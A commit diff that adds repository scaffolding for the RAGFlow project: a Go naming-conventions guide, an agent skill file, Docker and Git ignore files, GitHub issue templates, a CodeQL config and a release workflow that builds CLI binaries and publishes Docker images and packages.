chore: import upstream snapshot with attribution

.agents/rules/named.md

@@ -0,0 +1,192 @@
+# Go Naming Best Practices
+
+## 1. Package Naming
+
+- **All lowercase, no underscores**: `package user`, not `package userService` or `package user_service`
+- **Short and meaningful**: `package http`, `package json`, `package dao`
+- **Avoid plurals**: `package user` not `package users`
+- **Avoid generic names**: Avoid `package util`, `package common`, `package base`
+
+```go
+// Recommended
+package user
+package handler
+package service
+
+// Not recommended
+package UserService
+package user_service
+package utils
+```
+
+## 2. File Naming
+
+- **All lowercase, underscore separated**: `user_handler.go`, `user_service.go`
+- **Test files**: `user_handler_test.go`
+- **Platform-specific**: `user_linux.go`, `user_windows.go`
+
+```
+user/
+├── user_handler.go
+├── user_service.go
+├── user_dao.go
+└── user_test.go
+```
+
+## 3. Directory Naming
+
+- **All lowercase, no underscores or hyphens**: `internal/`, `pkg/`, `cmd/`
+- **Short and descriptive**: `handler/`, `service/`, `dao/`
+
+```
+project/
+├── cmd/                    # Main entry point
+│   └── server_main.go
+├── internal/               # Private code
+│   ├── handler/
+│   ├── service/
+│   ├── dao/
+│   ├── model/
+│   └── middleware/
+├── pkg/                    # Public code
+└── api/                    # API definitions
+```
+
+## 4. Interface Naming
+
+- **Single-method interfaces end with "-er"**: `Reader`, `Writer`, `Handler`
+- **Verb form**: `Reader`, `Executor`, `Validator`
+
+```go
+// Recommended
+type Reader interface {
+    Read(p []byte) (n int, err error)
+}
+
+type UserService interface {
+    Register(req *RegisterRequest) (*User, error)
+    Login(req *LoginRequest) (*User, error)
+}
+
+// Not recommended
+type UserInterface interface {}
+type IUserService interface {}
+```
+
+## 5. Struct Naming
+
+- **CamelCase**: `UserService`, `UserHandler`
+- **Avoid redundant prefixes**: `User` not `UserModel`
+
+```go
+// Recommended
+type UserService struct {}
+type UserHandler struct {}
+type RegisterRequest struct {}
+
+// Not recommended
+type user_service struct {}
+type SUserService struct {}
+type UserModel struct {}
+```
+
+## 6. Method/Function Naming
+
+- **CamelCase**
+- **Start with verb**: `GetUser`, `CreateUser`, `DeleteUser`
+- **Boolean returns use Is/Has/Can prefix**: `IsValid`, `HasPermission`
+
+```go
+// Recommended
+func (s *UserService) Register(req *RegisterRequest) (*User, error)
+func (s *UserService) GetUserByID(id uint) (*User, error)
+func (s *UserService) IsEmailExists(email string) bool
+
+// Not recommended
+func (s *UserService) register_user()
+func (s *UserService) get_user_by_id()
+func (s *UserService) CheckEmailExists() // Should use Is/Has
+```
+
+## 7. Constant Naming
+
+- **CamelCase**: `const MaxRetryCount = 3`
+- **Enum constants**: `const StatusActive = "active"`
+
+```go
+// Recommended
+const (
+    StatusActive   = "1"
+    StatusInactive = "0"
+    MaxRetryCount  = 3
+)
+
+// Not recommended
+const (
+    STATUS_ACTIVE = "1"  // Not all uppercase
+    status_active = "1"  // Not all lowercase
+)
+```
+
+## 8. Error Variable Naming
+
+- **Start with "Err"**: `ErrNotFound`, `ErrInvalidInput`
+
+```go
+// Recommended
+var (
+    ErrNotFound      = errors.New("not found")
+    ErrInvalidInput  = errors.New("invalid input")
+    ErrUnauthorized  = errors.New("unauthorized")
+)
+```
+
+## 9. Acronyms Keep Consistent Case
+
+```go
+// Recommended
+type HTTPHandler struct {}
+var URL string
+func GetHTTPClient() {}
+func ParseJSON() {}
+
+// Not recommended
+type HttpHandler struct {}
+var Url string
+func GetHttpClient() {}
+```
+
+## 10. Project Structure Naming
+
+```
+project-name/
+├── cmd/                    # Main programs
+│   └── app_name/
+│       └── main.go
+├── internal/               # Private code
+│   ├── handler/           # HTTP handlers
+│   ├── service/           # Business logic
+│   ├── repository/        # Data access
+│   ├── model/             # Data models
+│   └── config/            # Configuration
+├── pkg/                    # Public code
+├── api/                    # API definitions
+├── configs/               # Config files
+├── scripts/               # Scripts
+├── docs/                  # Documentation
+├── go.mod
+└── go.sum
+```
+
+## Summary Table
+
+| Type           | Rule                                | Example             |
+| -------------- | ----------------------------------- | ------------------- |
+| Package        | All lowercase, no underscores       | `package user`      |
+| File           | All lowercase, underscore separated | `user_service.go`   |
+| Directory      | All lowercase, no separators        | `internal/handler/` |
+| Struct         | CamelCase, capitalized first letter | `UserService`       |
+| Interface      | CamelCase, -er suffix               | `Reader`, `Writer`  |
+| Method         | CamelCase, verb prefix              | `GetUserByID`       |
+| Constant       | CamelCase                           | `MaxRetryCount`     |
+| Error Variable | Err prefix                          | `ErrNotFound`       |

.agents/skills/go-naming/SKILL.md

@@ -0,0 +1,6 @@
+---
+name: go-naming
+description: Go naming conventions and best practices. Use this skill when working with Go code and need to name packages, files, directories, structs, interfaces, functions, variables, or constants. Provides comprehensive naming guidelines following Go community standards.
+---
+
+Strictly follow the naming conventions in [rules/named.md](../../rules/named.md)

.dockerignore

@@ -0,0 +1,58 @@
+# RAGFlow .dockerignore
+# Reduces Docker build context sent to the daemon.
+# All excluded items are either rebuilt inside Docker, mounted from
+# infiniflow/ragflow_deps, or are local-only artifacts.
+
+# ── Python virtual environments ─────────────────────────────────────────────
+.venv/
+venv/
+__pycache__/
+*.pyc
+*.pyo
+*.egg-info/
+.pytest_cache/
+
+# ── Frontend dependencies and build outputs ─────────────────────────────────
+web/node_modules/
+web/dist/
+
+# ── Runtime logs ────────────────────────────────────────────────────────────
+logs/
+*.log
+docker/ragflow-logs/
+
+# ── Docker runtime data ─────────────────────────────────────────────────────
+docker/data/
+docker/oceanbase/
+docker/seekdb/
+
+# ── Go and C++ build outputs ────────────────────────────────────────────────
+internal/binding/cpp/build/
+internal/binding/cpp/cmake-build-release/
+internal/binding/cpp/cmake-build-debug/
+target/
+
+# ── ragflow_deps build context (built as a separate image, mounted ──
+# ── from infiniflow/ragflow_deps:latest by the main Dockerfile)     ──
+# Excluding the entire directory keeps the main build context small
+# regardless of which deps files download_deps.py currently fetches.
+# The deps image is built from this directory with:
+#   cd ragflow_deps && docker build -f Dockerfile -t infiniflow/ragflow_deps .
+ragflow_deps/
+
+# ── IDE and editor config ──────────────────────────────────────────────────
+.idea/
+.vscode/
+.cursor/
+.trae/
+.DS_Store
+
+# ── Test and coverage artifacts ─────────────────────────────────────────────
+coverage/
+htmlcov/
+.coverage
+.hypothesis/
+.nox/
+
+# ── Docker env (contains secrets) ───────────────────────────────────────────
+docker/.env

.gitattributes

@@ -0,0 +1,2 @@
+*.sh text eol=lf
+docker/entrypoint.sh text eol=lf executable

.github/ISSUE_TEMPLATE/agent_scenario_request.yml

@@ -0,0 +1,46 @@
+name: "❤️‍🔥ᴬᴳᴱᴺᵀ Agent scenario request"
+description: Propose a agent scenario request for RAGFlow.
+title: "[Agent Scenario Request]: "
+labels: ["❤️‍🔥ᴬᴳᴱᴺᵀ agent scenario"]
+body:
+  - type: checkboxes
+    attributes:
+      label: Self Checks
+      description: "Please check the following in order to be responded in time :)"
+      options:
+        - label: I have searched for existing issues [search for existing issues](https://github.com/infiniflow/ragflow/issues), including closed ones.
+          required: true
+        - label: I confirm that I am using English to submit this report ([Language Policy](https://github.com/infiniflow/ragflow/issues/5910)).
+          required: true
+        - label: Non-english title submitions will be closed directly ( 非英文标题的提交将会被直接关闭 ) ([Language Policy](https://github.com/infiniflow/ragflow/issues/5910)).
+          required: true
+        - label: "Please do not modify this template :) and fill in all the required fields."
+          required: true
+  - type: textarea
+    attributes:
+      label: Is your feature request related to a scenario?
+      description: |
+        A clear and concise description of what the scenario is. Ex. I'm always frustrated when [...]
+      render: Markdown
+    validations:
+      required: false
+  - type: textarea
+    attributes:
+      label: Describe the feature you'd like
+      description: A clear and concise description of what you want to happen.
+    validations:
+      required: true
+  - type: textarea
+    attributes:
+      label: Documentation, adoption, use case
+      description: If you can, explain some scenarios how users might use this, situations it would be helpful in. Any API designs, mockups, or diagrams are also helpful.
+      render: Markdown
+    validations:
+      required: false
+  - type: textarea
+    attributes:
+      label: Additional information
+      description: |
+        Add any other context or screenshots about the feature request here.
+    validations:
+      required: false

.github/ISSUE_TEMPLATE/bug_report.yml

@@ -0,0 +1,73 @@
+name: "🐞 Bug Report"
+description: Create a bug issue for RAGFlow
+title: "[Bug]: "
+labels: ["🐞 bug"]
+body:
+- type: checkboxes
+  attributes:
+    label: Self Checks
+    description: "Please check the following in order to be responded in time :)"
+    options:
+      - label: I have searched for existing issues [search for existing issues](https://github.com/infiniflow/ragflow/issues), including closed ones.
+        required: true
+      - label: I confirm that I am using English to submit this report ([Language Policy](https://github.com/infiniflow/ragflow/issues/5910)).
+        required: true
+      - label: Non-english title submitions will be closed directly ( 非英文标题的提交将会被直接关闭 ) ([Language Policy](https://github.com/infiniflow/ragflow/issues/5910)).
+        required: true
+      - label: "Please do not modify this template :) and fill in all the required fields."
+        required: true
+- type: markdown
+  attributes:
+    value: "Please provide the following information to help us understand the issue."
+- type: input
+  attributes:
+    label: RAGFlow workspace code commit ID
+    description: Enter the commit ID associated with the issue.
+    placeholder: e.g., 26d3480e
+  validations:
+    required: true
+- type: input
+  attributes:
+    label: RAGFlow image version
+    description: Enter the image version(shown in RAGFlow UI, `System` page) associated with the issue.
+    placeholder: e.g., 26d3480e(v0.13.0~174)
+  validations:
+    required: true
+- type: textarea
+  attributes:
+    label: Other environment information
+    description: |
+      Enter the environment details:
+      value: |
+      - Hardware parameters:
+      - OS type:
+      - Others:
+    render: Markdown
+  validations:
+    required: false
+- type: textarea
+  attributes:
+    label: Actual behavior
+    description: Describe what you encountered.
+  validations:
+    required: true
+- type: textarea
+  attributes:
+    label: Expected behavior
+    description: Describe what you expected.
+  validations:
+    required: false
+- type: textarea
+  attributes:
+    label: Steps to reproduce
+    description: Steps to reproduce what you encountered.
+    render: Markdown
+  validations:
+    required: true
+- type: textarea
+  attributes:
+    label: Additional information
+    description: |
+      Log, error message, or any other information can help find the root cause.
+  validations:
+    required: false

.github/ISSUE_TEMPLATE/feature_request.yml

@@ -0,0 +1,52 @@
+name: "💞 Feature request"
+description: Propose a feature request for RAGFlow.
+title: "[Feature Request]: "
+labels: ["💞 feature"]
+body:
+  - type: checkboxes
+    attributes:
+      label: Self Checks
+      description: "Please check the following in order to be responded in time :)"
+      options:
+        - label: I have searched for existing issues [search for existing issues](https://github.com/infiniflow/ragflow/issues), including closed ones.
+          required: true
+        - label: I confirm that I am using English to submit this report ([Language Policy](https://github.com/infiniflow/ragflow/issues/5910)).
+          required: true
+        - label: Non-english title submitions will be closed directly ( 非英文标题的提交将会被直接关闭 ) ([Language Policy](https://github.com/infiniflow/ragflow/issues/5910)).
+          required: true
+        - label: "Please do not modify this template :) and fill in all the required fields."
+          required: true
+  - type: textarea
+    attributes:
+      label: Is your feature request related to a problem?
+      description: |
+        A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
+      render: Markdown
+    validations:
+      required: false
+  - type: textarea
+    attributes:
+      label: Describe the feature you'd like
+      description: A clear and concise description of what you want to happen.
+    validations:
+      required: true
+  - type: textarea
+    attributes:
+      label: Describe implementation you've considered
+      description: A clear and concise description of implementation you've considered or investigated.
+    validations:
+      required: false
+  - type: textarea
+    attributes:
+      label: Documentation, adoption, use case
+      description: If you can, explain some scenarios how users might use this, situations it would be helpful in. Any API designs, mockups, or diagrams are also helpful.
+      render: Markdown
+    validations:
+      required: false
+  - type: textarea
+    attributes:
+      label: Additional information
+      description: |
+        Add any other context or screenshots about the feature request here.
+    validations:
+      required: false

.github/ISSUE_TEMPLATE/question.yml

@@ -0,0 +1,28 @@
+name: "🙋‍♀️ Question"
+description: Ask questions on RAGFlow
+title: "[Question]: "
+labels: ["🙋‍♀️ question"]
+body:
+- type: checkboxes
+  attributes:
+    label: Self Checks
+    description: "Please check the following in order to be responded in time :)"
+    options:
+      - label: I have searched for existing issues [search for existing issues](https://github.com/infiniflow/ragflow/issues), including closed ones.
+        required: true
+      - label: I confirm that I am using English to submit this report ([Language Policy](https://github.com/infiniflow/ragflow/issues/5910)).
+        required: true
+      - label: Non-english title submitions will be closed directly ( 非英文标题的提交将会被直接关闭 ) ([Language Policy](https://github.com/infiniflow/ragflow/issues/5910)).
+        required: true
+      - label: "Please do not modify this template :) and fill in all the required fields."
+        required: true
+- type: markdown
+  attributes:
+    value: |
+      If the previous templates don't fit with what you'd like to report or ask, please use this general question template to file issue.
+- type: textarea
+  attributes:
+    label: Describe your problem
+    description: A clear and concise description of your problem.
+  validations:
+    required: true

.github/ISSUE_TEMPLATE/subtask.yml

@@ -0,0 +1,29 @@
+name: Subtask
+description: "Propose a subtask for RAGFlow"
+title: "[Subtask]: "
+labels: [subtask]
+
+body:
+  - type: textarea
+    attributes:
+      label: Parent Issue
+      description: Write the ID of the parent issue
+      placeholder: "Parent issue: #"
+    validations:
+      required: true
+
+  - type: textarea
+    attributes:
+      label: Detail of Subtask
+      description: |
+        Describe the functions that this subtask should implement
+    validations:
+      required: true
+
+  - type: textarea
+    attributes:
+      label: Describe implementation you've considered
+      description: A clear and concise description of implementation you've considered or investigated.
+    validations:
+      required: false
+

.github/codeql/codeql-config.yml

@@ -0,0 +1,25 @@
+# CodeQL configuration. The default CodeQL Analysis workflow (managed by
+# GitHub) reads this file when scanning the repository. We use it to
+# exclude files that the Go analysis cannot compile — the rest of the
+# repo compiles fine, but the CGO-based office_oxide bindings require
+# a native header (`office_oxide.h`) that isn't present in the CodeQL
+# runner image. Without this exclusion the entire Go analysis aborts
+# with `fatal error: office_oxide.h: No such file or directory`, which
+# means no Go alerts can be re-evaluated and alerts on these files
+# stay open indefinitely even after their root cause is fixed.
+#
+# The excluded files are MS Office document parsers. They are also
+# excluded from `go test` and `go build` in local development when
+# the office_oxide C library is not installed, so this exclusion
+# brings CodeQL in line with the rest of the toolchain.
+paths-ignore:
+  - internal/ingestion/parser/doc_parser.go
+  - internal/ingestion/parser/docx_parser.go
+  - internal/ingestion/parser/ppt_parser.go
+  - internal/ingestion/parser/pptx_parser.go
+  - internal/ingestion/parser/xls_parser.go
+  - internal/ingestion/parser/xlsx_parser.go
+  # Generated / vendored — also break analysis without adding signal.
+  - "**/testdata/**"
+  - "**/node_modules/**"
+  - "**/*.pb.go"

.github/copilot-instructions.md

@@ -0,0 +1,22 @@
+# Project instructions for Copilot
+
+## How to run (minimum)
+- Install:
+  - python -m venv .venv && source .venv/bin/activate
+  - pip install -r requirements.txt
+- Run:
+  - (fill) e.g. uvicorn app.main:app --reload
+- Verify:
+  - (fill) curl http://127.0.0.1:8000/health
+
+## Project layout (what matters)
+- app/: API entrypoints + routers
+- services/: business logic
+- configs/: config loading (.env)
+- docs/: documents
+- tests/: pytest
+
+## Conventions
+- Prefer small, incremental changes.
+- Add logging for new flows.
+- Add/adjust tests for behavior changes.

.github/pull_request_template.md

@@ -0,0 +1,3 @@
+### Summary
+
+_Briefly describe what this PR aims to solve. Include background context that will help reviewers understand the purpose of the PR._

.github/workflows/release.yml

@@ -0,0 +1,291 @@
+name: release
+
+on:
+  schedule:
+    - cron: '0 13 * * *'  # This schedule runs every 13:00:00Z(21:00:00+08:00)
+  # https://github.com/orgs/community/discussions/26286?utm_source=chatgpt.com#discussioncomment-3251208
+  # "The create event does not support branch filter and tag filter."
+  # The "create tags" trigger is specifically focused on the creation of new tags, while the "push tags" trigger is activated when tags are pushed, including both new tag creations and updates to existing tags.
+  push:
+    tags:
+      - "v*.*.*"                  # normal release
+      - 'nightly'                 # mutable tag
+
+permissions:
+  contents: write
+  actions: read
+  checks: read
+  statuses: read
+
+# https://docs.github.com/en/actions/using-jobs/using-concurrency
+concurrency:
+  group: ${{ github.workflow }}-${{ github.event.pull_request.number || github.ref }}
+  cancel-in-progress: true
+
+jobs:
+  prepare:
+    runs-on: [ "self-hosted", "ragflow-release" ]
+    outputs:
+      release_tag: ${{ steps.release.outputs.release_tag }}
+      prerelease: ${{ steps.release.outputs.prerelease }}
+
+    steps:
+      - name: Ensure workspace ownership
+        run: echo "chown -R ${USER} ${GITHUB_WORKSPACE}" && sudo chown -R ${USER} ${GITHUB_WORKSPACE}
+
+      # https://github.com/actions/checkout/blob/v6/README.md
+      - name: Check out code
+        uses: actions/checkout@v6
+        with:
+          token: ${{ secrets.GITHUB_TOKEN }}  # Use the secret as an environment variable
+          fetch-depth: 0
+          fetch-tags: true
+
+      # https://github.com/actions/setup-go
+      - name: Set up Go
+        uses: actions/setup-go@v5
+        with:
+          go-version-file: go.mod
+          cache: true
+
+      - name: Prepare release metadata
+        id: release
+        run: |
+          if [[ ${GITHUB_EVENT_NAME} != "schedule" ]]; then
+            RELEASE_TAG=${GITHUB_REF#refs/tags/}
+            if [[ ${RELEASE_TAG} == v* ]]; then
+              PRERELEASE=false
+            else
+              PRERELEASE=true
+            fi
+            echo "Workflow triggered by create tag: ${RELEASE_TAG}"
+          else
+            RELEASE_TAG=nightly
+            PRERELEASE=true
+            echo "Workflow triggered by schedule"
+          fi
+          echo "RELEASE_TAG=${RELEASE_TAG}" >> ${GITHUB_ENV}
+          echo "PRERELEASE=${PRERELEASE}" >> ${GITHUB_ENV}
+          echo "release_tag=${RELEASE_TAG}" >> ${GITHUB_OUTPUT}
+          echo "prerelease=${PRERELEASE}" >> ${GITHUB_OUTPUT}
+
+      - name: Move the existing mutable tag
+        # https://github.com/softprops/action-gh-release/issues/171
+        run: |
+          git fetch --tags
+          if [[ ${GITHUB_EVENT_NAME} == "schedule" ]]; then
+            # Determine if a given tag exists and matches a specific Git commit.
+            # actions/checkout@v6 fetch-tags doesn't work when triggered by schedule
+            if [ "$(git rev-parse -q --verify "refs/tags/${RELEASE_TAG}")" = "${GITHUB_SHA}" ]; then
+              echo "mutable tag ${RELEASE_TAG} exists and matches ${GITHUB_SHA}"
+            else
+              git tag -f ${RELEASE_TAG} ${GITHUB_SHA}
+              git push -f origin ${RELEASE_TAG}:refs/tags/${RELEASE_TAG}
+              echo "created/moved mutable tag ${RELEASE_TAG} to ${GITHUB_SHA}"
+            fi
+          fi
+
+  build_cli:
+    needs: prepare
+    strategy:
+      fail-fast: false
+      matrix:
+        include:
+          - goos: linux
+            goarch: amd64
+            runner: ubuntu-24.04
+          - goos: linux
+            goarch: arm64
+            runner: ubuntu-24.04-arm
+          - goos: darwin
+            goarch: amd64
+            runner: macos-15-intel
+          - goos: darwin
+            goarch: arm64
+            runner: macos-14
+          - goos: windows
+            goarch: amd64
+            runner: windows-latest
+            output_ext: .exe
+          - goos: windows
+            goarch: arm64
+            runner: windows-11-arm
+            output_ext: .exe
+    runs-on: ${{ matrix.runner }}
+    env:
+      CLI_NAME: ragflow-cli
+      CLI_MAIN: ./cmd/ragflow-cli.go
+      DIST_DIR: dist/cli
+      RELEASE_TAG: ${{ needs.prepare.outputs.release_tag }}
+
+    steps:
+      # https://github.com/actions/checkout/blob/v6/README.md
+      - name: Check out code
+        uses: actions/checkout@v6
+        with:
+          token: ${{ secrets.GITHUB_TOKEN }}
+          fetch-depth: 0
+          fetch-tags: true
+
+      # https://github.com/actions/setup-go
+      - name: Set up Go
+        uses: actions/setup-go@v5
+        with:
+          go-version-file: go.mod
+          cache: true
+
+      - name: Build Go CLI release binaries on non-Windows
+        if: runner.os != 'Windows'
+        shell: bash
+        run: |
+          set -euo pipefail
+
+          mkdir -p "${DIST_DIR}"
+
+          if [[ ! -e "${CLI_MAIN}" ]]; then
+            echo "::error::Go CLI entry does not exist: ${CLI_MAIN}"
+            echo "::error::Please update CLI_MAIN in .github/workflows/release.yml"
+            exit 1
+          fi
+
+          echo "Building Go CLI release binaries"
+          echo "CLI name: ${CLI_NAME}"
+          echo "CLI main: ${CLI_MAIN}"
+          echo "Release tag: ${RELEASE_TAG}"
+          echo "Commit: ${GITHUB_SHA}"
+
+          output="${DIST_DIR}/${CLI_NAME}-${RELEASE_TAG}-${{ matrix.goos }}-${{ matrix.goarch }}"
+          echo "Building ${{ matrix.goos }}/${{ matrix.goarch }} -> ${output}"
+
+          CGO_ENABLED=0 \
+          GOOS="${{ matrix.goos }}" \
+          GOARCH="${{ matrix.goarch }}" \
+          go build \
+            -trimpath \
+            -ldflags="-s -w -X main.version=${RELEASE_TAG} -X main.commit=${GITHUB_SHA}" \
+            -o "${output}" \
+            "${CLI_MAIN}"
+
+          chmod +x "${output}"
+
+      - name: Build Go CLI release binaries on Windows
+        if: runner.os == 'Windows'
+        shell: pwsh
+        run: |
+          New-Item -ItemType Directory -Force -Path $env:DIST_DIR | Out-Null
+
+          if (-not (Test-Path $env:CLI_MAIN)) {
+            Write-Error "Go CLI entry does not exist: $env:CLI_MAIN"
+            exit 1
+          }
+
+          $output = Join-Path $env:DIST_DIR "${env:CLI_NAME}-${env:RELEASE_TAG}-${{ matrix.goos }}-${{ matrix.goarch }}${{ matrix.output_ext }}"
+          Write-Host "Building ${{ matrix.goos }}/${{ matrix.goarch }} -> $output"
+
+          $env:CGO_ENABLED = "0"
+          $env:GOOS = "${{ matrix.goos }}"
+          $env:GOARCH = "${{ matrix.goarch }}"
+
+          go build `
+            -trimpath `
+            -ldflags="-s -w -X main.version=$env:RELEASE_TAG -X main.commit=$env:GITHUB_SHA" `
+            -o "$output" `
+            "$env:CLI_MAIN"
+
+      - name: Upload CLI artifact
+        uses: actions/upload-artifact@v4
+        with:
+          name: cli-${{ matrix.goos }}-${{ matrix.goarch }}
+          path: dist/cli/*
+          if-no-files-found: error
+
+  publish_cli_assets:
+    needs:
+      - prepare
+      - build_cli
+    runs-on: [ "self-hosted", "ragflow-release" ]
+
+    steps:
+      - name: Ensure workspace ownership
+        run: echo "chown -R ${USER} ${GITHUB_WORKSPACE}" && sudo chown -R ${USER} ${GITHUB_WORKSPACE}
+
+      # https://github.com/actions/checkout/blob/v6/README.md
+      - name: Check out code
+        uses: actions/checkout@v6
+        with:
+          token: ${{ secrets.GITHUB_TOKEN }}
+          fetch-depth: 0
+          fetch-tags: true
+
+      - name: Download CLI artifacts
+        uses: actions/download-artifact@v5
+        with:
+          pattern: cli-*
+          path: dist/cli
+          merge-multiple: true
+
+      - name: Prepare CLI release assets
+        env:
+          RELEASE_TAG: ${{ needs.prepare.outputs.release_tag }}
+        run: |
+          set -euo pipefail
+
+          RELEASE_DATETIME=$(date --rfc-3339=seconds)
+          echo Release ${RELEASE_TAG} created from ${GITHUB_SHA} at ${RELEASE_DATETIME} > release_body.md
+
+          cd dist/cli
+          sha256sum * > SHA256SUMS
+          cd -
+
+          echo "Generated CLI release assets:"
+          ls -lh dist/cli
+
+      - name: Upload Go CLI release assets
+        uses: softprops/action-gh-release@v2
+        with:
+          token: ${{ secrets.GITHUB_TOKEN }}
+          prerelease: ${{ needs.prepare.outputs.prerelease }}
+          tag_name: ${{ needs.prepare.outputs.release_tag }}
+          body_path: release_body.md
+          files: |
+            dist/cli/*
+            tools/scripts/install.sh
+            tools/scripts/install.ps1
+
+  release:
+    needs:
+      - prepare
+      - publish_cli_assets
+    runs-on: [ "self-hosted", "ragflow-release" ]
+    env:
+      RELEASE_TAG: ${{ needs.prepare.outputs.release_tag }}
+
+    steps:
+      - name: Ensure workspace ownership
+        run: echo "chown -R ${USER} ${GITHUB_WORKSPACE}" && sudo chown -R ${USER} ${GITHUB_WORKSPACE}
+
+      # https://github.com/actions/checkout/blob/v6/README.md
+      - name: Check out code
+        uses: actions/checkout@v6
+        with:
+          token: ${{ secrets.GITHUB_TOKEN }}
+          fetch-depth: 0
+          fetch-tags: true
+
+      - name: Build and push image
+        run: |
+          sudo docker login --username infiniflow --password-stdin <<< ${{ secrets.DOCKERHUB_TOKEN }}
+          sudo docker build -t infiniflow/ragflow:${RELEASE_TAG} -f Dockerfile .
+          sudo docker tag infiniflow/ragflow:${RELEASE_TAG} infiniflow/ragflow:latest
+          sudo docker push infiniflow/ragflow:${RELEASE_TAG}
+          sudo docker push infiniflow/ragflow:latest
+
+      - name: Build and push ragflow-sdk
+        if: startsWith(github.ref, 'refs/tags/v')
+        run: |
+          cd sdk/python && uv build && uv publish --token ${{ secrets.PYPI_API_TOKEN }}
+
+      - name: Build and push ragflow-cli
+        if: startsWith(github.ref, 'refs/tags/v')
+        run: |
+          cd admin/client && uv build && uv publish --token ${{ secrets.PYPI_API_TOKEN }}

.gitignore

@@ -0,0 +1,261 @@
+# Generated by Cargo
+# will have compiled files and executables
+debug/
+target/
+__pycache__/
+hudet/
+cv/
+layout_app.py
+api/flask_session
+venv/
+# Remove Cargo.lock from gitignore if creating an executable, leave it for libraries
+# More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html
+Cargo.lock
+
+# These are backup files generated by rustfmt
+**/*.rs.bk
+
+# MSVC Windows builds of rustc generate these, which store debugging information
+*.pdb
+*.trie
+
+.idea/
+.vscode/
+.cursor/settings.json
+.opencode/
+
+# Exclude Mac generated files
+.DS_Store
+
+# Exclude the log folder
+docker/ragflow-logs/
+/flask_session
+/logs
+rag/res/deepdoc
+
+# Exclude sdk generated files
+sdk/python/ragflow.egg-info/
+sdk/python/build/
+sdk/python/dist/
+sdk/python/ragflow_sdk.egg-info/
+
+# Exclude dep files
+libssl*.deb
+tika-server*.jar*
+cl100k_base.tiktoken
+chrome*
+huggingface.co/
+nltk_data/
+uv-x86_64*.tar.gz
+
+# Exclude hash-like temporary files like 9b5ad71b2ce5302211f9c61530b329a4922fc6a4
+*[0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f]*
+.lh/
+.venv
+docker/data
+
+# OceanBase data and conf
+docker/oceanbase/conf
+docker/oceanbase/data
+
+# SeekDB data and conf
+docker/seekdb
+
+
+#--------------------------------------------------#
+# The following was generated with gitignore.nvim: #
+#--------------------------------------------------#
+# Gitignore for the following technologies: Node
+
+# Logs
+logs
+*.log
+npm-debug.log*
+yarn-debug.log*
+yarn-error.log*
+lerna-debug.log*
+.pnpm-debug.log*
+
+# Diagnostic reports (https://nodejs.org/api/report.html)
+report.[0-9]*.[0-9]*.[0-9]*.[0-9]*.json
+
+# Runtime data
+pids
+*.pid
+*.seed
+*.pid.lock
+
+# Directory for instrumented libs generated by jscoverage/JSCover
+lib-cov
+
+# Coverage directory used by tools like istanbul
+coverage
+*.lcov
+
+# nyc test coverage
+.nyc_output
+
+# Grunt intermediate storage (https://gruntjs.com/creating-plugins#storing-task-files)
+.grunt
+
+# Bower dependency directory (https://bower.io/)
+bower_components
+
+# node-waf configuration
+.lock-wscript
+
+# Compiled binary addons (https://nodejs.org/api/addons.html)
+build/Release
+
+# Dependency directories
+node_modules/
+jspm_packages/
+
+# Snowpack dependency directory (https://snowpack.dev/)
+web_modules/
+
+# TypeScript cache
+*.tsbuildinfo
+
+# Optional npm cache directory
+.npm
+
+# Optional eslint cache
+.eslintcache
+
+# Optional stylelint cache
+.stylelintcache
+
+# Microbundle cache
+.rpt2_cache/
+.rts2_cache_cjs/
+.rts2_cache_es/
+.rts2_cache_umd/
+
+# Optional REPL history
+.node_repl_history
+
+# Output of 'npm pack'
+*.tgz
+
+# Claude Code plans / state — local-only artifacts
+.claude/
+
+# Yarn Integrity file
+.yarn-integrity
+
+# dotenv environment variable files
+.env
+.env.development.local
+.env.test.local
+.env.production.local
+.env.local
+
+# parcel-bundler cache (https://parceljs.org/)
+.cache
+.parcel-cache
+
+# Next.js build output
+.next
+out
+
+# Nuxt.js build / generate output
+.nuxt
+dist
+ragflow_cli.egg-info
+# Gatsby files
+.cache/
+# Comment in the public line in if your project uses Gatsby and not Next.js
+# https://nextjs.org/blog/next-9-1#public-directory-support
+# public
+
+# vuepress build output
+.vuepress/dist
+
+# vuepress v2.x temp and cache directory
+.temp
+
+# Docusaurus cache and generated files
+.docusaurus
+
+# Serverless directories
+.serverless/
+
+# FuseBox cache
+.fusebox/
+
+# DynamoDB Local files
+.dynamodb/
+
+# TernJS port file
+.tern-port
+
+# Stores VSCode versions used for testing VSCode extensions
+.vscode-test
+
+# yarn v2
+.yarn/cache
+.yarn/unplugged
+.yarn/build-state.yml
+.yarn/install-state.gz
+.pnp.*
+
+# Serverless Webpack directories
+.webpack/
+
+# SvelteKit build / generate output
+.svelte-kit
+
+# Default backup dir
+backup
+
+
+*huqie.txt
+
+.hypothesis
+
+
+# Added by cargo
+
+/target
+
+# Do not include in PR (local dev / build artifacts)
+ragflow.egg-info/
+uv-aarch64*.tar.gz
+uv-aarch64-unknown-linux-gnu.tar.gz
+docker/launch_backend_service_windows.sh
+
+# C++ build directories
+internal/binding/cpp/build/
+internal/binding/cpp/cmake-build-release/
+internal/binding/cpp/cmake-build-debug/
+
+# Trae IDE config
+.trae/
+
+# Go server build output
+bin/*
+!bin/.gitkeep
+.claude/settings.local.json
+
+.run/
+# Local agent tooling state (per-developer; not for commit)
+.omc/
+.marscode/
+
+# Parser test fixtures and python tools
+internal/deepdoc/parser/pdf/testdata/
+internal/deepdoc/parser/pdf/tools-py/
+
+# IDE tooling artifacts
+.codebuddy/
+
+# Local build output
+build/
+internal/deepdoc/parser/docx/testdata/
+internal/deepdoc/parser/docx/tool/
+
+# test data compare tool
+internal/ingestion/task/tool/generate_dataflow_golden.py
+internal/ingestion/task/tool/README.md
+internal/cpp/cmake-build-release

.rooignore

@@ -0,0 +1,85 @@
+# .rooignore for RAGFlow
+# Purpose: reduce indexing noise, token waste, and accidental reads of generated files
+
+# Git / platform
+.git/
+.github/
+
+# IDE / local editor
+.idea/
+.vscode/
+.trae/
+
+# Python caches / build artifacts
+__pycache__/
+*.pyc
+*.pyo
+*.pyd
+.pytest_cache/
+.mypy_cache/
+.ruff_cache/
+.hypothesis/
+.coverage
+*.egg-info/
+ragflow.egg-info/
+sdk/python/ragflow_sdk.egg-info/
+sdk/python/build/
+sdk/python/dist/
+build/
+dist/
+
+# Virtual environments
+.venv/
+venv/
+env/
+
+# Node / frontend dependencies and build output
+node_modules/
+web/node_modules/
+web/dist/
+web/build/
+web/.cache/
+*.tsbuildinfo
+
